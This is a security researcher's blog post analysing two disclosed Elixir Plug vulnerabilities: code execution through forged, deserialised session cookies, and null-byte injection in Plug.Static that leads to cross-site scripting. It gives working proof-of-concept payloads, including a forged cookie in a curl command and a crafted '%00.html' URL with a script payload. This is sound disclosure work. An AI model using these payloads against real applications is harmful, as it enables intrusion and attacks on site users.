Griffin Byatt

I'm a security consultant and programmer in New York City. Currently, my focus is on web framework and iOS security.


Home Disclosures

Projects


Contact

You can find me online in the usual places: Github, Twitter, Keybase, Email.


Analysis of Plug Security Vulnerabilities (Elixir)

A couple weeks ago (as of March 18th, 2017), I reported two Plug vulnerabilities to the Elixir team. They quickly fixed the issues, and made a disclosure on the forum.

I wanted to go into a little more detail, and cover the aspects I found interesting. I also hate it when I can't find I workable PoC for a disclosure, so that's here as well.

Arbitrary Code Execution in Cookie Serialization

This vulnerability is the less practical of the two, and probably hasn't been exploitable in the wild. However, the method of exploitation hasn't been covered yet and I thought it was particularly interesting. Here's most of the original report:

Impact:

Users with the ability to forge session cookies may be able to achieve arbitrary code execution.

Details:

The default "session" plug provides session cookie storage and serialization functionality. Cookie data is validated via a signing mechanism, which makes use of a secret_key_base token. The serialization process utilizes Erlang's binary_to_term and term_to_binary functions, which will serialize and deserialize any term or data structure, including partials and function captures. A user with the ability to forge cookies (e.g. as a result of a source code disclosure) can create cookies containing these dangerous values. Function captures are enumerable, which means that any instance in which a cookie value is enumerated is vulnerable to code execution.

For example, consider an application that stores cart IDs in the session cookie with the intention of doing something special for any ID over 10:

cart_ids = get_session(conn, :cart)
if Enum.any?(cart_ids, fn(x) -> x > 10 end) do
  // something special
end

To achieve code execution, a malicious user could forge a cookie with the following value:

%{"cart" => &({IO.inspect(System.cwd), &1, &2})}

The initial get_session call would return the function capture, and the value &({IO.inspect(System.cwd), &1, &2}) would be stored in cart_ids. The Enum.any? call would iterate over the capture, and execute IO.inspect(System.cwd), printing the current working directory to the log.

Reproduction Steps:

  1. Set up a working Elixir and Phoenix environment.
  2. Clone the following repository: https://github.com/GriffinMB/web
  3. Install dependencies, and run the server. Navigate to the homepage to view the default Phoenix Framework information.
  4. Clear the logs.
  5. Execute the following curl command:

    curl -I --cookie "_web_key=g3QAAAABbQAAAARjYXJ0cAAAAs0CYz55Unpf9u0_SHYoBBkQMgAAAAwAAAABZAAIZXJsX2V2YWxhDGIDGfPKZ2QADW5vbm9kZUBub2hvc3QAAABQAAAAAABoBGpkAARub25lZAAEbm9uZWwAAAABaAVkAAZjbGF1c2VhAmwAAAACaANkAAN2YXJhAGQAA19AMWgDZAADdmFyYQBkAANfQDJqamwAAAABaANkAAV0dXBsZWECbAAAAANoBGQABGNhbGxhAmgEZAAGcmVtb3RlYQJoA2QABGF0b21hAGQACUVsaXhpci5JT2gDZAAEYXRvbWECZAAHaW5zcGVjdGwAAAABaARkAARjYWxsYQJoBGQABnJlbW90ZWECaANkAARhdG9tYQBkAAlFbGl4aXIuSU9oA2QABGF0b21hAmQAB2luc3BlY3RsAAAAAWgEZAAEY2FsbGECaARkAAZyZW1vdGVhAmgDZAAEYXRvbWEAZAAJRWxpeGlyLklPaANkAARhdG9tYQJkAAdpbnNwZWN0bAAAAAFoBGQABGNhbGxhAmgEZAAGcmVtb3RlYQJoA2QABGF0b21hAGQACUVsaXhpci5JT2gDZAAEYXRvbWECZAAHaW5zcGVjdGwAAAABaARkAARjYWxsYQJoBGQABnJlbW90ZWECaANkAARhdG9tYQBkAAlFbGl4aXIuSU9oA2QABGF0b21hAmQAB2luc3BlY3RsAAAAAWgEZAAEY2FsbGECaARkAAZyZW1vdGVhAmgDZAAEYXRvbWEAZAAJRWxpeGlyLklPaANkAARhdG9tYQJkAAdpbnNwZWN0bAAAAAFoBGQABGNhbGxhAmgEZAAGcmVtb3RlYQJoA2QABGF0b21hAGQADUVsaXhpci5TeXN0ZW1oA2QABGF0b21hAmQAA2N3ZGpqampqampoA2QAA3ZhcmEAZAADX0AxaANkAAN2YXJhAGQAA19AMmpqag==##2k3q1Z-SnExwnPWDfsIq0tDZg5k=" http://localhost:4000
    
  6. Note the current working directory information printed to the logs.


Null Byte Injection in Plug.Static

This one has been covered a bit more fully, but here are the details I provided:

Impact:

Users with the ability to upload files served by the "static" plug can bypass filetype restrictions, which may lead to cross-site scripting and other arbitrary file upload exploits.

Details:

The "static" plug, used to serve assets in Plug-based web frameworks, serves two primary functions: locating the requested file, and setting the response content type. The asset content type is set dynamically, using the Mime.from_path function. For example, a request for the file "images/phoenix.png" will result in a content type of "image/png." However, if the request is updated to "images/phoenix.png%00.html," the resulting content type will be set to "text/html."

The problem with this is that the mechanism for reading the file, :prim_file.read_file_info, is null byte terminated. This means that both "images/phoenix.png" and "images/phoenix.png%00.html" will return the same static asset. So, if file upload functionality is provided by the application, and the assets are served with the "static" plug, a malicious user could do something like the following:

  • Upload a file, "evil.png," with embedded JavaScript
  • Request the file at "evil.png%00.html"
  • Achieve XSS

Reproduction Steps:

  1. Set up a working Elixir and Phoenix environment.
  2. Create a new Phoenix project, and run the server.
  3. In the static images directory, create a file ("evil.png") with the following content:

    <script>alert(1)</script>
    
  4. Navigate to http://localhost:4000/images/evil.png%00.html

  5. Note the JavaScript alert.